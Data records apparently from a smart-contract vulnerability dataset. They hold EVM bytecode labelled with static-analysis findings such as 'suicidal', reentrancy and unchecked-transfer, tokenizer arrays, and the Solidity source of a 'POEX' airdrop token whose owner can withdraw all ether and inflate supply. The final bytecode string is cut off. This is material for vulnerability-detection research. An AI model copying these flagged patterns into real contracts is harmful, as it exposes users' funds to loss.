0x60606040526004361061012f5763ffffffff60e060020a600035041663135c0701811461013457806319dc831a1461015557806319e740c01461016b5780631bb47b441461019c578063204b676a146101c1578063227d517a146101e05780632f5bb661146101ff578063313ce56714610256578063458efde31461027f57806345e5441f146102925780634fa2b0a5146102b757806353a47bb7146102d65780635b94db27146103055780636b3905c41461032457806370a082311461034357806379ba5097146103625780638da5cb5b1461037557806397f46527146103885780639b217f90146103a75780639c4de81f146103c95780639d8e2177146103dc578063a15d59ce146103ef578063bb2a7d0c14610402578063da7bd3e914610439578063ee1d036c1461045b575b600080fd5b341561013f57600080fd5b610153600160a060020a036004351661047d565b005b341561016057600080fd5b61015360043561050e565b341561017657600080fd5b61018a600160a060020a03600435166105ab565b60405190815260200160405180910390f35b34156101a757600080fd5b610153600160a060020a03600435166024356044356105f2565b34156101cc57600080fd5b61018a600160a060020a03600435166107b8565b34156101eb57600080fd5b61018a600160a060020a03600435166107d3565b341561020a57600080fd5b61021e600160a060020a03600435166107e5565b6040518082604080838360005b8381101561024357808201518382015260200161022b565b5050505090500191505060405180910390f35b341561026157600080fd5b610269610838565b60405160ff909116815260200160405180910390f35b341561028a57600080fd5b61015361083d565b341561029d57600080fd5b61018a600160a060020a0360043516602435604435610a19565b34156102c257600080fd5b610153600160a060020a0360043516610a59565b34156102e157600080fd5b6102e9610adc565b604051600160a060020a03909116815260200160405180910390f35b341561031057600080fd5b610153600160a060020a0360043516610aeb565b341561032f57600080fd5b61018a600160a060020a0360043516610b6e565b341561034e57600080fd5b61018a600160a060020a0360043516610b9f565b341561036d57600080fd5b610153610bba565b341561038057600080fd5b6102e9610c61565b341561039357600080fd5b61018a600160a060020a0360043516610c70565b34156103b257600080fd5b61018a600160a060020a0360043516602435610ca1565b34156103d457600080fd5b6102e9610cdf565b34156103e757600080fd5b61018a610cee565b34156103fa57600080fd5b61018a610cfa565b341561040d57600080fd5b61015360048035600160a060020a03169060248035808201929081013591604435908101910135610d00565b341561044457600080fd5b61021e600160a060020a0360043516602435610d7b565b341561046657600080fd5b61018a600160a060020a0360043516602435610df1565b60005433600160a060020a0390811691161461049857600080fd5b6003546002540142106104aa57600080fd5b600160a060020a03811660009081526005602052604081206104cb91610e58565b600754600160a060020a0382166000908152600660205260409020546104f19190610e2c565b600755600160a060020a0316600090815260066020526040812055565b60005433600160a060020a0390811691161461052957600080fd5b60035460025401421061053b57600080fd5b600454600160a060020a031663a9059cbb818360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561059157600080fd5b5af1151561059e57600080fd5b5050506040518051505050565b60008060006105b9846107b8565b9150600090505b818110156105e7576105d28482610ca1565b156105df578092506105eb565b6001016105c0565b8192505b5050919050565b60005433600160a060020a0390811691161461060d57600080fd5b60035460025401421061061f57600080fd5b4282901061062c57600080fd5b80151561063857600080fd5b61064460075482610e41565b600755600454600160a060020a03166370a082313060405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561069757600080fd5b5af115156106a457600080fd5b5050506040518051600754111590506106bc57600080fd5b600160a060020a03831660009081526005602052604090205415156106fb57600160a060020a0383166000908152600660205260409020819055610758565b8161071184600161070b876107b8565b03610ca1565b1061071b57600080fd5b600160a060020a03831660009081526006602052604090205461073e9082610e41565b600160a060020a0384166000908152600660205260409020555b600160a060020a03831660009081526005602052604090208054600181016107808382610e7c565b9160005260206000209060020201600060408051908101604052858152602081018590526107b19291506002610ead565b5050505050565b600160a060020a031660009081526005602052604090205490565b60066020526000908152604090205481565b6107ed610eeb565b60006107f8836105ab565b9050610803836107b8565b8114156108255760408051908101604052600080825260208201529150610832565b61082f8382610d7b565b91505b50919050565b601281565b60008080805b61084c336107b8565b83101561092c5761085d3384610ca1565b91504282111561086c5761092c565b6108763384610df1565b905080151561088457610921565b60408051908101604090815260008083526020808401829052600160a060020a033316825260059052208054859081106108ba57fe5b90600052602060002090600202019060026108d6929190610f11565b506108e18482610e41565b600160a060020a0333166000908152600660205260409020549094506109079082610e2c565b600160a060020a0333166000908152600660205260409020555b600190920191610843565b8315610a135761093e60075485610e2c565b600755600454600160a060020a031663a9059cbb338660405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561099757600080fd5b5af115156109a457600080fd5b505050604051805190505033600160a060020a03167f6d06f0a463d80b43fe6cd0b79c61bb2790cfe898790e69828f25e6e12886e1783342876040518084600160a060020a0316600160a060020a03168152602001838152602001828152602001935050505060405180910390a25b50505050565b600560205282600052604060002082815481101515610a3457fe5b906000526020600020906002020181600281101515610a4f57fe5b0154925083915050565b60005433600160a060020a03908116911614610a7457600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790557f7d83fa33771af200b7fda80813418ffe7eafdbeb2a93f5267ced74abac654a4e81604051600160a060020a03909116815260200160405180910390a150565b600154600160a060020a031681565b60005433600160a060020a03908116911614610b0657600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790557f906a1c6bd7e3091ea86693dd029a831c19049ce77f1dce2ce0bab1cacbabce2281604051600160a060020a03909116815260200160405180910390a150565b600080610b7a836105ab565b9050610b85836107b8565b811415610b955760009150610832565b61082f8382610ca1565b600160a060020a031660009081526006602052604090205490565b60015433600160a060020a03908116911614610bd557600080fd5b6000546001547fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c91600160a060020a039081169116604051600160a060020a039283168152911660208201526040908101905180910390a1600180546000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b600054600160a060020a031681565b600080610c7c836105ab565b9050610c87836107b8565b811415610c975760009150610832565b61082f8382610df1565b600160a060020a0382166000908152600560205260408120805483908110610cc557fe5b600091825260208220600290910201905b01549392505050565b600454600160a060020a031681565b670de0b6b3a764000081565b60075481565b6000805433600160a060020a03908116911614610d1c57600080fd5b600354600254014210610d2e57600080fd5b5060005b83811015610d7357610d6b86868684818110610d4a57fe5b905060200201358585858181101515610d5f57fe5b905060200201356105f2565b600101610d32565b505050505050565b610d83610eeb565b600160a060020a0383166000908152600560205260409020805483908110610da757fe5b90600052602060002090600202016002806020026040519081016040529190828260026020028201915b815481526020019060010190808311610dd1575050505050905092915050565b600160a060020a0382166000908152600560205260408120805483908110610e1557fe5b600091825260209091206002909102016001610cd6565b600082821115610e3b57600080fd5b50900390565b600082820182901015610e5357600080fd5b500190565b5080546000825560020290600052602060002090810190610e799190610f44565b50565b815481835581811511610ea857600202816002028360005260206000209182019101610ea89190610f44565b505050565b8260028101928215610edb579160200282015b82811115610edb578251825591602001919060010190610ec0565b50610ee7929150610f6a565b5090565b604080519081016040526002815b6000815260200190600190039081610ef95790505090565b8260028101928215610edb579160200282015b82811115610edb578251829060ff16905591602001919060010190610f24565b610f6791905b80821115610ee7576000610f5e8282610f84565b50600201610f4a565b90565b610f6791905b80821115610ee75760008155600101610f70565b5060008155600101600090555600a165627a7a72305820e617bb8fe84bf3b5a34ac3eb94b5343e047b7841206c710afc254dfab2a0c4b50029
{"success": true, "error": null, "results": {"detectors": [{"check": "suicidal", "impact": "High", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reused-constructor", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'suicidal', 'impact': 'High', 'confidence': 'High'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'controlled-array-length', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reused-constructor', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2581, 2487, 2063, 2581, 2620, 2063, 2692, 2278, 2683, 21926, 2683, 2475, 2050, 2549, 2063, 23499, 2692, 2683, 2683, 2620, 19481, 2278, 2546, 2581, 2063, 2575, 7875, 22275, 2629, 2497, 19317, 22907, 1013, 1008, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 5371, 20346, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,644
0x971ed653c77406819c28f29d127753c0943235fa
pragma solidity ^0.4.26; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ForeignToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract POEX is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public Claimed; string public constant name = "Poex Global"; string public constant symbol = "PO"; uint public constant decimals = 8; uint public deadline = now + 50 * 1 days; uint public round2 = now + 40 * 1 days; uint public round1 = now + 25 * 1 days; uint256 public totalSupply = 10000000000e8; uint256 public totalDistributed; uint256 public constant requestMinimum = 1 ether / 100; // 0.01 Ether uint256 public tokensPerEth = 6000000e8; uint public target0drop = 4000; uint public progress0drop = 0; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Airdrop(address indexed _owner, uint _amount, uint _balance); event TokensPerEthUpdated(uint _tokensPerEth); event Burn(address indexed burner, uint256 value); event Add(uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } constructor() public { uint256 teamFund = 1500000000e8; owner = msg.sender; distr(owner, teamFund); } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; emit DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function Distribute(address _participant, uint _amount) onlyOwner internal { require( _amount > 0 ); require( totalDistributed < totalSupply ); balances[_participant] = balances[_participant].add(_amount); totalDistributed = totalDistributed.add(_amount); if (totalDistributed >= totalSupply) { distributionFinished = true; } // log emit Airdrop(_participant, _amount, balances[_participant]); emit Transfer(address(0), _participant, _amount); } function DistributeAirdrop(address _participant, uint _amount) onlyOwner external { Distribute(_participant, _amount); } function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external { for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount); } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { getTokens(); } function getTokens() payable canDistr public { uint256 tokens = 0; uint256 bonus = 0; uint256 countbonus = 0; uint256 bonusCond1 = 1 ether; uint256 bonusCond2 = 1 ether * 5; uint256 bonusCond3 = 1 ether * 10; tokens = tokensPerEth.mul(msg.value) / 1 ether; address investor = msg.sender; if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) { if(msg.value >= bonusCond1 && msg.value < bonusCond2){ countbonus = tokens * 30 / 100; }else if(msg.value >= bonusCond2 && msg.value < bonusCond3){ countbonus = tokens * 40 / 100; }else if(msg.value >= bonusCond3){ countbonus = tokens * 50 / 100; } }else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){ if(msg.value >= bonusCond1 && msg.value < bonusCond2){ countbonus = tokens * 20 / 100; }else if(msg.value >= bonusCond2 && msg.value < bonusCond3){ countbonus = tokens * 30 / 100; }else if(msg.value >= bonusCond3){ countbonus = tokens * 40 / 100; } }else{ countbonus = 0; } bonus = tokens + countbonus; if (tokens == 0) { uint256 valdrop = 12500e8; if (Claimed[investor] == false && progress0drop < target0drop ) { distr(investor, valdrop); Claimed[investor] = true; progress0drop++; }else{ require( msg.value >= requestMinimum ); } }else if(tokens > 0 && msg.value >= requestMinimum){ if( now >= deadline && now >= round1 && now < round2){ distr(investor, tokens); }else{ if(msg.value >= bonusCond1){ distr(investor, bonus); }else{ distr(investor, tokens); } } }else{ require( msg.value >= requestMinimum ); } if (totalDistributed >= totalSupply) { distributionFinished = true; } } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ ForeignToken t = ForeignToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdrawAll() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function withdraw(uint256 _wdamount) onlyOwner public { uint256 wantAmount = _wdamount; owner.transfer(wantAmount); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); emit Burn(burner, _value); } function add(uint256 _value) onlyOwner public { uint256 counter = totalSupply.add(_value); totalSupply = counter; emit Add(_value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }
0x60806040526004361061018b576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610195578063095ea7b3146102255780631003e2d21461028a57806318160ddd146102b757806323b872dd146102e257806329dcb0cf146103675780632e1a7d4d14610392578063313ce567146103bf57806342966c68146103ea578063532b581c1461041757806370a082311461044257806374ff2324146104995780637809231c146104c4578063836e81801461051157806383afd6da1461053c578063853828b61461056757806395d89b411461057e5780639b1cbccc1461060e5780639ea407be1461063d578063a9059cbb1461066a578063aa6ca808146106cf578063b449c24d146106d9578063c108d54214610734578063c489744b14610763578063cbdd69b5146107da578063dd62ed3e14610805578063e58fc54c1461087c578063e6a092f5146108d7578063efca2eed14610902578063f2fde38b1461092d578063f3ccb40114610970575b6101936109b5565b005b3480156101a157600080fd5b506101aa610d7a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101ea5780820151818401526020810190506101cf565b50505050905090810190601f1680156102175780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561023157600080fd5b50610270600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db3565b604051808215151515815260200191505060405180910390f35b34801561029657600080fd5b506102b560048036038101908080359060200190929190505050610f41565b005b3480156102c357600080fd5b506102cc610ff8565b6040518082815260200191505060405180910390f35b3480156102ee57600080fd5b5061034d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ffe565b604051808215151515815260200191505060405180910390f35b34801561037357600080fd5b5061037c6113d4565b6040518082815260200191505060405180910390f35b34801561039e57600080fd5b506103bd600480360381019080803590602001909291905050506113da565b005b3480156103cb57600080fd5b506103d46114a8565b6040518082815260200191505060405180910390f35b3480156103f657600080fd5b50610415600480360381019080803590602001909291905050506114ad565b005b34801561042357600080fd5b5061042c611679565b6040518082815260200191505060405180910390f35b34801561044e57600080fd5b50610483600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061167f565b6040518082815260200191505060405180910390f35b3480156104a557600080fd5b506104ae6116c8565b6040518082815260200191505060405180910390f35b3480156104d057600080fd5b5061050f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506116d3565b005b34801561051d57600080fd5b5061052661173d565b6040518082815260200191505060405180910390f35b34801561054857600080fd5b50610551611743565b6040518082815260200191505060405180910390f35b34801561057357600080fd5b5061057c611749565b005b34801561058a57600080fd5b50610593611832565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105d35780820151818401526020810190506105b8565b50505050905090810190601f1680156106005780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561061a57600080fd5b5061062361186b565b604051808215151515815260200191505060405180910390f35b34801561064957600080fd5b5061066860048036038101908080359060200190929190505050611933565b005b34801561067657600080fd5b506106b5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506119d0565b604051808215151515815260200191505060405180910390f35b6106d76109b5565b005b3480156106e557600080fd5b5061071a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c0b565b604051808215151515815260200191505060405180910390f35b34801561074057600080fd5b50610749611c2b565b604051808215151515815260200191505060405180910390f35b34801561076f57600080fd5b506107c4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c3e565b6040518082815260200191505060405180910390f35b3480156107e657600080fd5b506107ef611d29565b6040518082815260200191505060405180910390f35b34801561081157600080fd5b50610866600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d2f565b6040518082815260200191505060405180910390f35b34801561088857600080fd5b506108bd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611db6565b604051808215151515815260200191505060405180910390f35b3480156108e357600080fd5b506108ec611ffb565b6040518082815260200191505060405180910390f35b34801561090e57600080fd5b50610917612001565b6040518082815260200191505060405180910390f35b34801561093957600080fd5b5061096e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612007565b005b34801561097c57600080fd5b506109b3600480360381019080803590602001908201803590602001919091929391929390803590602001909291905050506120de565b005b600080600080600080600080600d60009054906101000a900460ff161515156109dd57600080fd5b600097506000965060009550670de0b6b3a76400009450674563918244f400009350678ac7230489e800009250670de0b6b3a7640000610a2834600a5461219390919063ffffffff16565b811515610a3157fe5b049750339150662386f26fc100003410158015610a4f575060055442105b8015610a5c575060075442105b8015610a69575060065442105b15610ae757843410158015610a7d57508334105b15610a99576064601e8902811515610a9157fe5b049550610ae2565b833410158015610aa857508234105b15610ac457606460288902811515610abc57fe5b049550610ae1565b8234101515610ae057606460328902811515610adc57fe5b0495505b5b5b610b9d565b662386f26fc100003410158015610aff575060055442105b8015610b0c575060075442115b8015610b19575060065442105b15610b9757843410158015610b2d57508334105b15610b4957606460148902811515610b4157fe5b049550610b92565b833410158015610b5857508234105b15610b74576064601e8902811515610b6c57fe5b049550610b91565b8234101515610b9057606460288902811515610b8c57fe5b0495505b5b5b610b9c565b600095505b5b85880196506000881415610cb25765012309ce5400905060001515600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515148015610c175750600b54600c54105b15610c9657610c2682826121cb565b506001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600c60008154809291906001019190505550610cad565b662386f26fc100003410151515610cac57600080fd5b5b610d47565b600088118015610cc95750662386f26fc100003410155b15610d2f576005544210158015610ce257506007544210155b8015610cef575060065442105b15610d0457610cfe82896121cb565b50610d2a565b8434101515610d1d57610d1782886121cb565b50610d29565b610d2782896121cb565b505b5b610d46565b662386f26fc100003410151515610d4557600080fd5b5b5b600854600954101515610d70576001600d60006101000a81548160ff0219169083151502179055505b5050505050505050565b6040805190810160405280600b81526020017f506f657820476c6f62616c00000000000000000000000000000000000000000081525081565b6000808214158015610e4257506000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b15610e505760009050610f3b565b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3600190505b92915050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f9f57600080fd5b610fb48260085461235790919063ffffffff16565b9050806008819055507f90f1f758f0e2b40929b1fd48df7ebe10afc272a362e1f0d63a90b8b4715d799f826040518082815260200191505060405180910390a15050565b60085481565b600060606004810160003690501015151561101557fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561105157600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561109f57600080fd5b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561112a57600080fd5b61117c83600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461237390919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061124e83600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461237390919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061132083600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461235790919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b60055481565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561143857600080fd5b819050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156114a3573d6000803e3d6000fd5b505050565b600881565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561150b57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561155957600080fd5b3390506115ae82600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461237390919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116068260085461237390919063ffffffff16565b6008819055506116218260095461237390919063ffffffff16565b6009819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b60065481565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b662386f26fc1000081565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561172f57600080fd5b611739828261238c565b5050565b60075481565b600c5481565b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117a857600080fd5b3091508173ffffffffffffffffffffffffffffffffffffffff16319050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561182d573d6000803e3d6000fd5b505050565b6040805190810160405280600281526020017f504f00000000000000000000000000000000000000000000000000000000000081525081565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118c957600080fd5b600d60009054906101000a900460ff161515156118e557600080fd5b6001600d60006101000a81548160ff0219169083151502179055507f7f95d919e78bdebe8a285e6e33357c2fcb65ccf66e72d7573f9f8f6caad0c4cc60405160405180910390a16001905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561198f57600080fd5b80600a819055507ff7729fa834bbef70b6d3257c2317a562aa88b56c81b544814f93dc5963a2c003816040518082815260200191505060405180910390a150565b60006040600481016000369050101515156119e757fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515611a2357600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515611a7157600080fd5b611ac383600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461237390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b5883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612357909